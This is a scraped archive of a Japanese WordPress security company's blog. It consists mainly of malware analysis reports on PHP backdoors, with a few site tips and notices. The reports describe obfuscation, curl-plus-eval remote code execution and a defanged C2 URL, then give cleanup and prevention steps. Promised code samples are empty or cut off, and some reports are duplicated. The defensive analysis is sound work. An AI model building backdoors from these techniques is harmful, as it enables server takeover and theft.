- 不審ファイル削除
- コア再設置
- DB確認

### 2. Search Console対応

- セキュリティ問題の修正報告
- 再審査リクエスト

### 3. インデックス整理

- 不審URLの削除
- サイトマップ再送信

### 4. 評価回復期間

- 通常1〜3か月
- 重度の場合6か月以上

---

## 再発防止のセキュリティ対策

- 定期アップデート
- ファイル改ざん監視
- WAF導入
- 二段階認証
- 外部通信ログ監視

「復旧」だけでなく「再侵入防止」まで実施しないと、再びSEO被害が発生します。

---

## まとめ：SEO被害は売上直撃リスク

画像偽装型マルウェアは、目に見えない形で検索順位と信用を破壊します。

放置期間が長いほど、SEO回復に時間とコストがかかります。

早期発見・早期除去が最大の防御策です。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：偽装プラグイン型バックドア「duplicate-post.php」](https://wp-r.com/malware/marware-rep-34/)

**Published:** 2月 24, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本件は「duplicate-post.php」という、一見すると正規プラグインのように見える名称で設置されていたバックドア型PHPファイルです。

名称は実在する有名プラグイン（Duplicate Post）に酷似しており、管理者に気づかれにくい構造になっていました。

実際には、外部からの入力やリクエストを受け取り、任意の処理を実行できる仕組みを持つ不正コードでした。

---

### 特徴

- 正規プラグイン名に酷似（duplicate-post.php）
- 管理画面からは判別困難
- 外部入力を受け取る処理を含む
- 動的実行関数（eval / base64\_decode 等）を利用する構造
- サーバー上に継続的な侵入口を残す

「正規プラグインに見せかける」点が最大の特徴です。

---

### 無毒化したコードの一部をサンプルで表記

危険部分を無効化した例：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：ハッカー署名型デフェースページ](https://wp-r.com/malware/marware-rep-42/)

**Published:** 3月 24, 2026
**Author:** ワードプレスレスキュー

**Content:**

### マルウェアの概要

このファイルは WordPressサイトが侵入された後に設置される デフェースページです。

デフェースとはサイトを書き換えてハッカーの署名を表示する攻撃です。

### 特徴

- トップページを書き換える
- ハッカー名を表示
- サイトを停止状態にする

### 無毒化したコードの一部をサンプルで表記

```
United Bangladeshi Hackers

```

### 感染ファイルの完全可読化ログ

主な挙動

1 トップページ書き換え
2 ハッカー名表示

### 危険性

この攻撃は

- サイト信用低下
- SEO評価低下
- ブランド毀損

につながります。

### 実際の感染事例

WordPressの脆弱性から侵入後、index.phpが書き換えられるケースが多いです。

### 駆除と復旧の方法

1 改ざんファイル削除
2 WordPressコア再設置
3 管理者アカウント確認

### 再発防止のセキュリティ対策

- WordPress更新
- WAF導入

### まとめ：早期対応がSEOと信頼回復のカギ

### 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：難読化PHPバックドア型「DdsxpW.php」](https://wp-r.com/malware/marware-rep-30/)

**Published:** 2月 10, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本ファイル「DdsxpW.php」は、強い難読化処理が施されたバックドア型PHPマルウェアです。
ファイル名はランダム文字列で生成されており、発見を遅らせる目的があります。

主な機能は「外部から任意コードを受信し、サーバー上で実行すること」です。
これにより攻撃者は継続的にサイトを操作できます。

---

### 特徴

- ランダムなファイル名（DdsxpW.php）
- 変数名の無意味化
- base64 / gzinflate / str\_rot13 等を組み合わせた多層難読化
- eval / assert 相当の動的実行構造
- 外部通信またはPOSTデータ受信構造

複数段階の復号を経て実行されるため、目視では内容がほぼ判読できません。

---

### 無毒化したコードの一部をサンプルで表記

危険部分を無効化した可読化例：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：画像偽装型バックドア](https://wp-r.com/malware/marware-rep-31/)

**Published:** 2月 13, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

画像偽装型マルウェアとは、拡張子を「.png」「.jpg」「.gif」などの画像ファイルに見せかけながら、内部にPHPなどの実行コードを埋め込んだバックドア型マルウェアです。

一見すると「ただの画像ファイル」に見えるため、FTP確認や目視チェックでは見逃されやすい特徴があります。

特にWordPressサイトでは、テーマ・プラグイン・uploadsフォルダ配下に設置されるケースが多く確認されています。

---

### 特徴

- load.png / fav.gif など自然な画像名を使用
- 実際にはPHPコードが含まれている
- require / include で読み込ませる構造
- 外部サーバーと通信するバックドア機能
- 検索エンジン用の条件分岐（クローラー判定）を含む場合がある

管理者が「画像だから安全」と思い込む心理を突く、非常に悪質な手法です。

---

### 無毒化したコードの一部をサンプルで表記

以下は画像に偽装されたPHPの典型例（危険部分を無効化）：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：難読化PHPバックドア「wp-news.php」](https://wp-r.com/malware/malware-rep-27/)

**Published:** 1月 15, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本レポートでは、`wp-news.php` というファイル名で設置されていた **難読化PHPバックドア型マルウェア** について解析結果をまとめます。

このファイルは、

- `goto` 文とラベルを多用した読みづらい構造
- `curl_init` / `curl_exec` による外部サーバーとの通信
- 取得したデータを `eval()` で実行する仕組み
- スクリプト末尾の `__halt_compiler();` を用いた隠しデータ領域

といった特徴を持ち、**外部の攻撃サーバーから任意のPHPコードをダウンロードして実行するリモートコントロール型バックドア** と判断できます。

## 特徴

### コード構造の特徴

- PHPの `goto` とラベルを多用した制御フロー 
    - 例: `goto jTJlU;` / `jTJlU:` / `goto odD5Q;` というように、処理があちこちに飛ぶ
    - 人間や静的解析ツールが一読して理解しづらいようにする目的
- 意味のない識別子名 
    - 変数や関数が `$mTR06`, `$PH7JJ`, `M7jPX()` など、ランダム文字列風の名前になっている
- 末尾に `__halt_compiler();` があり、その後ろに隠しデータを格納できる構造 
    - 通常のPHP実行ではこの後ろは無視されるため、**追加のペイロードやログ** を隠すのに悪用される

### 外部サーバーへの不審なアクセス

コード内に、以下のような **16進エスケープされたURL文字列** が埋め込まれていました。

- 例: `"\150\164\x74\x70\x73\x3a\x2f\x2f..."` → 復号すると `https://dieoivk[.]com/xyk25.txt` となる
- これは攻撃者が管理するC2（コマンド&コントロール）サーバーの一部と考えられます。

### curl と eval を組み合わせたリモートコード実行

- `curl_init()` で外部URLへHTTP(S)アクセスを開始
- `curl_setopt()` で以下のような危険な設定が行われている 
    - `CURLOPT_RETURNTRANSFER`：レスポンスを文字列として取得
    - `CURLOPT_SSL_VERIFYPEER = false` / `CURLOPT_SSL_VERIFYHOST = false`：SSL証明書検証を無効化
- `curl_exec()` で取得したレスポンスを `eval()` でそのまま実行

この仕組みにより、攻撃者は **外部テキストファイル（例: `xyk25.txt`）の中身を自由に書き換えるだけで、サーバー側で任意のPHPコードを実行** できます。

### 無毒化したコードの一部をサンプルで表記

実際のコードは `goto` や難読化された関数で構成されていますが、処理の本質は以下のように要約できます（悪意のある部分はコメントアウトして無毒化しています）。

```
 [ここから先は通常のPHP実行では無視される隠し領域]`

このように、「難読化関数 → URL復号 → curlで取得 → eval実行 → 隠し領域」という、典型的な **外部C2型バックドアのパターン** を踏襲しています。

### 危険性

このマルウェアが残っていると、サイトは次のようなリスクに晒されます。

- **サーバー乗っ取りリスク**
    - 攻撃者が外部テキスト（`xyk25.txt` など）の中身を変更するだけで、任意のPHPコードを永続的に実行可能
    - シェル設置、追加バックドア設置、管理画面の乗っ取りなどに発展
- **スパム・フィッシングサイト化**
    - 攻撃者が不正なリダイレクトやスパムページ生成のコードを送り込むことで、SEOスパム型改ざんに転用される
- **マルウェア配布サーバーとしての悪用**
    - サイト訪問者に対して別のマルウェアを配布する中継点にされる可能性
- **ブラックリスト登録・検索結果の警告表示**
    - Googleのセーフブラウジングや各種セキュリティベンダーのブラックリストに登録されるリスク
    - 検索結果に「このサイトは安全でない可能性があります」といった警告が表示され、集客に大きなダメージ

## 実際の感染事例

今回の `wp-news.php` は、以下のようなパターンで設置されているケースが想定されます。

- ファイル名がニュース系（`wp-news.php`）で一見正規のテンプレートや機能ファイルに見える
- テーマディレクトリ直下、または `wp-content` 直下など、開発者でなければ違和感に気づきにくい場所に配置
- ファイルサイズ自体は数KB〜十数KB程度と小さい
- WordPress管理画面からではなく、**直接URLを叩いたとき** にのみ動作
- アクセスログ上は特定のIPから `wp-news.php` への直接アクセスが繰り返されている

このように、通常の運用ではほぼ参照しないファイル名・パスを装いながら、攻撃者だけが知っている「裏口」として機能していました。

## 駆除と復旧の方法

### 1. 感染ファイルの特定と削除

1. 対象サーバー上で `wp-news.php` を検索 
    - 例: SSHが使える場合は `find` コマンドで検索
2. 該当ファイルの内容を確認し、上記のような `goto`＋`curl`＋`eval`＋`__halt_compiler` パターンがあれば削除対象と判断
3. 削除前に必ず**バックアップ**を取得 
    - 万一のときに備え、元に戻せるようにしておく

### 2. 類似バックドアの有無を調査

- 同様の構造（`curl`＋`eval`、16進や base64 で難読化されたURL）を持つファイルが他にもないか検索
- 典型的な調査ポイント 
    - `wp-content/uploads` 配下に `.php` ファイルが紛れ込んでいないか
    - テーマ／プラグインディレクトリに見慣れないPHPファイルがないか
    - ルートディレクトリ直下の `index.php` / `wp-blog-header.php` / `wp-config.php` 等に不審な1行コードが挿入されていないか

### 3. コア・テーマ・プラグインのクリーンアップ

- WordPressコアは公式の最新版から **上書き再展開** して改ざんを除去
- テーマ・プラグインも、可能な限り以下を実施 
    - 公式リポジトリから最新版をダウンロードし直して上書き
    - 不要／開発が止まっているプラグインは削除

### 4. 管理者アカウントとパスワードのリセット

- WordPress管理者ユーザーのパスワード変更
- FTP/SSH/コントロールパネルのログイン情報もすべて変更
- 可能であれば2要素認証（2FA）の導入

### 5. ログの確認と被害範囲の把握

- `wp-news.php` へのアクセス履歴をWebサーバーログから確認
- 同じタイミングで不審なリクエスト（`/wp-admin/admin-ajax.php` への大量POSTなど）がないか確認
- 不審な管理者アカウントや、書き換えられた投稿・固定ページがないかをチェック

## 再発防止のセキュリティ対策

### 1. WordPress本体・プラグイン・テーマの継続的な更新

- 定期的なアップデートを行い、既知の脆弱性を放置しない
- 特に脆弱性報告の多いプラグインは、運用方針を見直す

### 2. 最低限の権限設計とファイルパーミッション

- 不要な管理者ユーザーを削除
- 編集権限を持つユーザーを最小限にする
- `wp-content/uploads` など、PHPを実行する必要のないディレクトリでは `php.ini` や `.htaccess` で実行を禁止

### 3. WAF やセキュリティプラグインの活用

- サーバー側のWAF（Web Application Firewall）を有効化
- ログイン試行制限や、不審なリクエストのブロック機能を持つセキュリティプラグインを導入

### 4. バックアップ体制の整備

- ファイルとデータベースのバックアップを定期的に取得
- 少なくとも「直近数世代＋月次スナップショット」を別環境に保管
- 復旧テスト（実際にバックアップから戻せるか）の実施

### 5. 監視とアラート

- ファイル改ざん監視（ハッシュ値の監視）
- 管理画面へのログイン通知
- 404エラー急増やトラフィック急増を検知する監視ツールの導入

## まとめ：早期対応がSEOと信頼回復のカギ

`wp-news.php` に代表される **難読化PHPバックドア** は、見た目こそ小さな1ファイルですが、実質的にはサイト全体の支配権を奪う「遠隔操作の入口」です。

- 外部C2サーバーからのコード配信により、攻撃者はいつでも挙動を変更可能
- サイト改ざん・スパム・マルウェア配布など、多様な攻撃の土台として悪用される
- 検索エンジンやブラウザの警告により、SEO・ブランド信頼に深刻なダメージ

被害を最小限に抑えるためには、

1. 感染ファイルの迅速な特定と削除
2. 類似バックドアや改ざん箇所の徹底調査
3. アップデート・権限設計・WAF等による再発防止

をセットで行うことが重要です。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：難読化PHPバックドア「wp-news.php」](https://wp-r.com/malware/marware-rep-26/)

**Published:** 1月 6, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本レポートでは、`wp-news.php` というファイル名で設置されていた **難読化PHPバックドア型マルウェア** について解析結果をまとめます。

このファイルは、

- `goto` 文とラベルを多用した読みづらい構造
- `curl_init` / `curl_exec` による外部サーバーとの通信
- 取得したデータを `eval()` で実行する仕組み
- スクリプト末尾の `__halt_compiler();` を用いた隠しデータ領域

といった特徴を持ち、**外部の攻撃サーバーから任意のPHPコードをダウンロードして実行するリモートコントロール型バックドア** と判断できます。

## 特徴

### コード構造の特徴

- PHPの `goto` とラベルを多用した制御フロー 
    - 例: `goto jTJlU;` / `jTJlU:` / `goto odD5Q;` というように、処理があちこちに飛ぶ
    - 人間や静的解析ツールが一読して理解しづらいようにする目的
- 意味のない識別子名 
    - 変数や関数が `$mTR06`, `$PH7JJ`, `M7jPX()` など、ランダム文字列風の名前になっている
- 末尾に `__halt_compiler();` があり、その後ろに隠しデータを格納できる構造 
    - 通常のPHP実行ではこの後ろは無視されるため、**追加のペイロードやログ** を隠すのに悪用される

### 外部サーバーへの不審なアクセス

コード内に、以下のような **16進エスケープされたURL文字列** が埋め込まれていました。

- 例: `"\150\164\x74\x70\x73\x3a\x2f\x2f..."` → 復号すると `https://dieoivk[.]com/xyk25.txt` となる
- これは攻撃者が管理するC2（コマンド&コントロール）サーバーの一部と考えられます。

### curl と eval を組み合わせたリモートコード実行

- `curl_init()` で外部URLへHTTP(S)アクセスを開始
- `curl_setopt()` で以下のような危険な設定が行われている 
    - `CURLOPT_RETURNTRANSFER`：レスポンスを文字列として取得
    - `CURLOPT_SSL_VERIFYPEER = false` / `CURLOPT_SSL_VERIFYHOST = false`：SSL証明書検証を無効化
- `curl_exec()` で取得したレスポンスを `eval()` でそのまま実行

この仕組みにより、攻撃者は **外部テキストファイル（例: `xyk25.txt`）の中身を自由に書き換えるだけで、サーバー側で任意のPHPコードを実行** できます。

### 無毒化したコードの一部をサンプルで表記

実際のコードは `goto` や難読化された関数で構成されていますが、処理の本質は以下のように要約できます（悪意のある部分はコメントアウトして無毒化しています）。

```
 [ここから先は通常のPHP実行では無視される隠し領域]`

このように、「難読化関数 → URL復号 → curlで取得 → eval実行 → 隠し領域」という、典型的な **外部C2型バックドアのパターン** を踏襲しています。

### 危険性

このマルウェアが残っていると、サイトは次のようなリスクに晒されます。

- **サーバー乗っ取りリスク**
    - 攻撃者が外部テキスト（`xyk25.txt` など）の中身を変更するだけで、任意のPHPコードを永続的に実行可能
    - シェル設置、追加バックドア設置、管理画面の乗っ取りなどに発展
- **スパム・フィッシングサイト化**
    - 攻撃者が不正なリダイレクトやスパムページ生成のコードを送り込むことで、SEOスパム型改ざんに転用される
- **マルウェア配布サーバーとしての悪用**
    - サイト訪問者に対して別のマルウェアを配布する中継点にされる可能性
- **ブラックリスト登録・検索結果の警告表示**
    - Googleのセーフブラウジングや各種セキュリティベンダーのブラックリストに登録されるリスク
    - 検索結果に「このサイトは安全でない可能性があります」といった警告が表示され、集客に大きなダメージ

## 実際の感染事例

今回の `wp-news.php` は、以下のようなパターンで設置されているケースが想定されます。

- ファイル名がニュース系（`wp-news.php`）で一見正規のテンプレートや機能ファイルに見える
- テーマディレクトリ直下、または `wp-content` 直下など、開発者でなければ違和感に気づきにくい場所に配置
- ファイルサイズ自体は数KB〜十数KB程度と小さい
- WordPress管理画面からではなく、**直接URLを叩いたとき** にのみ動作
- アクセスログ上は特定のIPから `wp-news.php` への直接アクセスが繰り返されている

このように、通常の運用ではほぼ参照しないファイル名・パスを装いながら、攻撃者だけが知っている「裏口」として機能していました。

## 駆除と復旧の方法

### 1. 感染ファイルの特定と削除

1. 対象サーバー上で `wp-news.php` を検索 
    - 例: SSHが使える場合は `find` コマンドで検索
2. 該当ファイルの内容を確認し、上記のような `goto`＋`curl`＋`eval`＋`__halt_compiler` パターンがあれば削除対象と判断
3. 削除前に必ず**バックアップ**を取得 
    - 万一のときに備え、元に戻せるようにしておく

### 2. 類似バックドアの有無を調査

- 同様の構造（`curl`＋`eval`、16進や base64 で難読化されたURL）を持つファイルが他にもないか検索
- 典型的な調査ポイント 
    - `wp-content/uploads` 配下に `.php` ファイルが紛れ込んでいないか
    - テーマ／プラグインディレクトリに見慣れないPHPファイルがないか
    - ルートディレクトリ直下の `index.php` / `wp-blog-header.php` / `wp-config.php` 等に不審な1行コードが挿入されていないか

### 3. コア・テーマ・プラグインのクリーンアップ

- WordPressコアは公式の最新版から **上書き再展開** して改ざんを除去
- テーマ・プラグインも、可能な限り以下を実施 
    - 公式リポジトリから最新版をダウンロードし直して上書き
    - 不要／開発が止まっているプラグインは削除

### 4. 管理者アカウントとパスワードのリセット

- WordPress管理者ユーザーのパスワード変更
- FTP/SSH/コントロールパネルのログイン情報もすべて変更
- 可能であれば2要素認証（2FA）の導入

### 5. ログの確認と被害範囲の把握

- `wp-news.php` へのアクセス履歴をWebサーバーログから確認
- 同じタイミングで不審なリクエスト（`/wp-admin/admin-ajax.php` への大量POSTなど）がないか確認
- 不審な管理者アカウントや、書き換えられた投稿・固定ページがないかをチェック

## 再発防止のセキュリティ対策

### 1. WordPress本体・プラグイン・テーマの継続的な更新

- 定期的なアップデートを行い、既知の脆弱性を放置しない
- 特に脆弱性報告の多いプラグインは、運用方針を見直す

### 2. 最低限の権限設計とファイルパーミッション

- 不要な管理者ユーザーを削除
- 編集権限を持つユーザーを最小限にする
- `wp-content/uploads` など、PHPを実行する必要のないディレクトリでは `php.ini` や `.htaccess` で実行を禁止

### 3. WAF やセキュリティプラグインの活用

- サーバー側のWAF（Web Application Firewall）を有効化
- ログイン試行制限や、不審なリクエストのブロック機能を持つセキュリティプラグインを導入

### 4. バックアップ体制の整備

- ファイルとデータベースのバックアップを定期的に取得
- 少なくとも「直近数世代＋月次スナップショット」を別環境に保管
- 復旧テスト（実際にバックアップから戻せるか）の実施

### 5. 監視とアラート

- ファイル改ざん監視（ハッシュ値の監視）
- 管理画面へのログイン通知
- 404エラー急増やトラフィック急増を検知する監視ツールの導入

## まとめ：早期対応がSEOと信頼回復のカギ

`wp-news.php` に代表される **難読化PHPバックドア** は、見た目こそ小さな1ファイルですが、実質的にはサイト全体の支配権を奪う「遠隔操作の入口」です。

- 外部C2サーバーからのコード配信により、攻撃者はいつでも挙動を変更可能
- サイト改ざん・スパム・マルウェア配布など、多様な攻撃の土台として悪用される
- 検索エンジンやブラウザの警告により、SEO・ブランド信頼に深刻なダメージ

被害を最小限に抑えるためには、

1. 感染ファイルの迅速な特定と削除
2. 類似バックドアや改ざん箇所の徹底調査
3. アップデート・権限設計・WAF等による再発防止

をセットで行うことが重要です。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [ワードプレスの管理画面を国内限定。国外IPの遮断について](https://wp-r.com/wp-tips/block-foreign-ip-wordpress/)

**Published:** 6月 17, 2018
**Author:** ワードプレスレスキュー

**Content:**

# ワードプレスの管理画面を日本国外からのアクセス禁止について

ワードプレスの管理画面を日本国内からのみ、アクセスしたい。つまり、日本国外、外国からのIPからのアクセスをできないようにしたいという、相談があり、いろいろと方法を調べている方からの相談がありました。

通常は、有料サポートになりますが、TIPSに載せたかったので、無料相談で受け付けました。その方が調べてきた方法が、.htaccessで国内IPのみアクセスを可能にするという方法でした。IPのリストは、ネットで出回っています。
※本記事は、一般的な共有のレンタルサーバーでの使用を前提としております。

## あまり現実的ではありません。

ネットの調べると.htaccessに除外IPリストをすべて載せる方法がありますが、インフラエンジニアからすると現実的ではありません。

たしかにその方法はできるとおもうのですが、毎回ページを見るときに（wp-login.phpに限定しても）、記述の内容をサーバーが読み込むので、とてもパフォーマンスが落ちます。つまり、サイト自体が遅くなります。

## それではどの様にすればいいのか？

問題は、wp-login.phpがワードプレスの共通のログインアドレスで、そこを意図しないアクセス元から攻撃をされることです。これは、オープンソースや多く使われているCMSやフレームワークでは、致し方ないことです。

ということで、考えを変えてみましょう。ログインアドレスを変えればいいのです。

## ログインアドレスを変える

プラグインでワードプレスのログインアドレスを変えることができます。セキュリティー関係のプラグインで「SiteGuard WP Plugin」というものがあります。名前も頼もしそうですね！

簡単にワードプレスのログインアドレスを変えることができます。攻撃はwp-login.phpにされても、サーバーは「404エラー」つまり「ページが見つかりません」を返すだけなので、サーバーにもあまり負荷がかかりませんし、攻撃されてサイトがワードプレスのハッキング（クラック）される可能性が、格段に下がります。

![ワードプレスの管理画面を日本国内からのみ、アクセスしたい。つまり、日本国外、外国からのIPからのアクセスをできないようにしたいという、相談があり、いろいろと方法を調べている方からの相談がありました。 通常は、有料サポートになりますが、TIPSに載せたかったので、無料相談で受け付けました。その方が調べてきた方法が、.htaccessで国内IPのみアクセスを可能にするという方法でした。IPのリストは、ネットで出回っています。 ※本記事は、一般的な共有のレンタルサーバーでの使用を前提としております。](https://wp-r.com/wp-content/uploads/2018/06/siteguard_wp_plugin_350.png)

## セキュリティー機能が満載

「SiteGuard WP Plugin」は、セキュリティー強化のワードプレスプラグインのため、その他にワードプレスのセキュリティーを高くすることができます。

- ログインページ、コメント投稿に画像認証を追加
- ログインの失敗を数回繰り返すと、指定した時間をロックをかけます。
- XMLRPCのセキュリティーの穴の悪用を防ぎます。←結構重要です。
- 正しいパスワードをいれても1回目はログインができません。

以上の設定をすることによって、ワードプレスの管理画面への攻撃を格段に減らすことができます。

## レンタルサーバーの機能を使う

レンタルサーバーの機能で、国外IPからのアクセスを遮断する機能があります。ワードプレスの管理画面を外国IPから遮断する機能もあるところがあります。ここの仕組みは、本記事では割愛しますが、この機能があるのであれば、こちらをまず使うのことが第1選択となり、そして「SiteGuard WP Plugin」を併用すれば、セキュリティーのリスクは格段に下がると考えられます。**XSERVERやWPXなどはこの機能が充実**しており、丙h差としては多数のお客様におすすめしております。

## 国外IPの遮断は完璧ではない

IPというものは、簡単に言うとルーティング（経路設定）をすれば、アメリカで割り振られたIPをどこにでも持ってくることはできます。基本的にには、割り振られた国で使うのが一般的ですが。

その他、IPアドレスの割当が変更になったりすると、国が変わる場合もあります。

ですので、世の中に出回っている国内IPリストや外国IPリストは、定期的に更新がかかって言います。

ざっと簡単にいうとこんな感じです。ざっというとです。

ですので、国外IP遮断は完璧ではありませんが、共有サーバーで提供している機能は、それなりに精度が高くはなると思います。もちろん、サーバー会社も1回設定したらずっと終わりではなく、内容についても定期的にアップデートはしていると思います（多分）

## おまけ VPSの場合はどうか？

これまでは、共有サーバーの話でありましたが、専用サーバーやVPSやクラウドの様に館権限を持っているサーバーはどうなのかというと、FireWall機能（旧IPTABLES)があるのですが、ここで外国IPを遮断する設定をこまかく入れていく方法もありますが、この機能はサーバーのメモリーを確実に消費するので、計算をしたり、うまくIPのレンジで制限しないといけないなど、細かく計算をしないといけないため、ワードプレスの管理画面を国外IPから遮断するという部分では、プラグインでログイン画面を変えると良いというのが、一番ベストかなと思います。

**カテゴリー:** ワードプレスTIPS

---

### [年末年始も稼働しています｜ワードプレスレスキュー](https://wp-r.com/news/2025nenmatsu/)

**Published:** 12月 26, 2025
**Author:** ワードプレスレスキュー

**Content:**

**ワードプレスレスキューは、年末年始も通常どおり稼働しております。**
サイトの改ざん・マルウェア感染・403エラー・表示崩れなど、緊急性の高いWordPressトラブルは、時期を問わず発生します。

![](https://wp-r.com/wp-content/uploads/2024/08/lpbanner.jpg)年末年始は制作会社や保守担当が休業していることも多く、
「誰にも相談できない」「復旧が年明けまで止まってしまう」といったケースも少なくありません。

ワードプレスレスキューでは、そうした事態に備え、**年末年始も追加料金なしで対応**しています。
緊急時でも、落ち着いて状況を確認し、**原因調査 → 復旧 → 再発防止**までを一貫してサポートします。

> WordPressの乗っ取り・改ざん・マルウェア感染などでお困りの際は、
> 年末年始でも安心してご相談ください。

---

### トラブルは年末年始も関係ありません。

WordPressのセキュリティ事故は「時期を選ばない」

- 被害を放置すると、SEO評価や広告配信に悪影響が出る
- 早期対応が、復旧コストと被害拡大を最小限に抑えるため

この考えから、**年末年始も通常稼働・通常料金**での対応を行っています。

**カテゴリー:** お知らせ

---

### [WordPressマルウェア復旧・解析レポート：xNiyMjeCH.php型バックドア](https://wp-r.com/malware/malware-rep-23/)

**Published:** 12月 6, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した **`xNiyMjeCH.php`** は、WordPress本体や公式プラグインには存在しないランダムな文字列のファイル名を持つ **バックドア型マルウェア** です。
内部コードを解析した結果、外部からのリクエストを直接処理し、サーバー上でコマンド実行やファイル操作を可能にする危険な機能が確認されました。

---

### 特徴

- ファイル名が無作為な文字列で、発見されにくい。
- PHPコードが難読化されており、一見して正常なファイルと見分けがつかない。
- `$_POST` や `$_REQUEST` 変数を通じて攻撃者が任意コードを実行可能。
- ファイルアップロードやメール送信など、追加の不正機能が確認された。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は可読化した `xNiyMjeCH.php` の構造（危険部分はコメント化）。

```

```

---

### 危険性

- ランダムなファイル名で特定が難しく、長期間気づかれないリスクがある。
- サーバー内部で自由にコマンド実行が可能になり、**完全な侵入**を許す。
- 不正ページやマルウェア拡散に悪用され、検索順位やブランドイメージを大きく損なう恐れ。
- バックドアを放置すると再感染や情報漏えいのリスクが高まる。

---

## 実際の感染事例

- `wp-content/uploads/` ディレクトリに `xNiyMjeCH.php` が潜んでおり、外部から不正アクセスに利用されていた。
- サイト訪問者がマルウェア配布サイトにリダイレクトされ、結果としてSEO評価が大幅に下落したケース。
- ホスティング業者からリソース大量使用を指摘され、アカウント一時停止になった事例も報告。

---

## 駆除と復旧の方法

1. **`xNiyMjeCH.php` を即座に削除**。
2. **サーバー内の全ファイルをスキャン**し、類似する不正ファイルを徹底的に除去。
3. **管理者アカウントやFTP/DBのパスワードをリセット**。
4. **正規のWordPressコア・テーマ・プラグインを再インストール**。
5. **サーバーログを確認**し、侵入経路を特定して再発を防止。
6. **バックアップからの復元を検討**し、クリーンな状態を確保。

---

## 再発防止のセキュリティ対策

- ランダムファイル名の不正ファイルがないか定期的にチェック。
- サーバーの不要なスクリプトやプラグインを削除。
- 強固なパスワード、二段階認証の導入。
- サーバーの脆弱性診断を定期的に実施。
- 攻撃検知とログ監視を徹底。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`xNiyMjeCH.php` のようなランダム名のバックドアは、サイバー攻撃者の隠れ家として利用され、長期的にサイトを危険に晒す可能性があります。
早急に削除し、アップデートと監視体制を強化することで、再感染を防ぎましょう。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：xNiyMjeCH.php型バックドア](https://wp-r.com/malware/malware-rep-24/)

**Published:** 12月 1, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した **`xNiyMjeCH.php`** は、WordPress本体や公式プラグインには存在しないランダムな文字列のファイル名を持つ **バックドア型マルウェア** です。
内部コードを解析した結果、外部からのリクエストを直接処理し、サーバー上でコマンド実行やファイル操作を可能にする危険な機能が確認されました。

---

### 特徴

- ファイル名が無作為な文字列で、発見されにくい。
- PHPコードが難読化されており、一見して正常なファイルと見分けがつかない。
- `$_POST` や `$_REQUEST` 変数を通じて攻撃者が任意コードを実行可能。
- ファイルアップロードやメール送信など、追加の不正機能が確認された。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は可読化した `xNiyMjeCH.php` の構造（危険部分はコメント化）。

```

```

---

### 危険性

- ランダムなファイル名で特定が難しく、長期間気づかれないリスクがある。
- サーバー内部で自由にコマンド実行が可能になり、**完全な侵入**を許す。
- 不正ページやマルウェア拡散に悪用され、検索順位やブランドイメージを大きく損なう恐れ。
- バックドアを放置すると再感染や情報漏えいのリスクが高まる。

---

## 実際の感染事例

- `wp-content/uploads/` ディレクトリに `xNiyMjeCH.php` が潜んでおり、外部から不正アクセスに利用されていた。
- サイト訪問者がマルウェア配布サイトにリダイレクトされ、結果としてSEO評価が大幅に下落したケース。
- ホスティング業者からリソース大量使用を指摘され、アカウント一時停止になった事例も報告。

---

## 駆除と復旧の方法

1. **`xNiyMjeCH.php` を即座に削除**。
2. **サーバー内の全ファイルをスキャン**し、類似する不正ファイルを徹底的に除去。
3. **管理者アカウントやFTP/DBのパスワードをリセット**。
4. **正規のWordPressコア・テーマ・プラグインを再インストール**。
5. **サーバーログを確認**し、侵入経路を特定して再発を防止。
6. **バックアップからの復元を検討**し、クリーンな状態を確保。

---

## 再発防止のセキュリティ対策

- ランダムファイル名の不正ファイルがないか定期的にチェック。
- サーバーの不要なスクリプトやプラグインを削除。
- 強固なパスワード、二段階認証の導入。
- サーバーの脆弱性診断を定期的に実施。
- 攻撃検知とログ監視を徹底。

---

## まとめ：早期対応がSEOと信頼回復のカギ

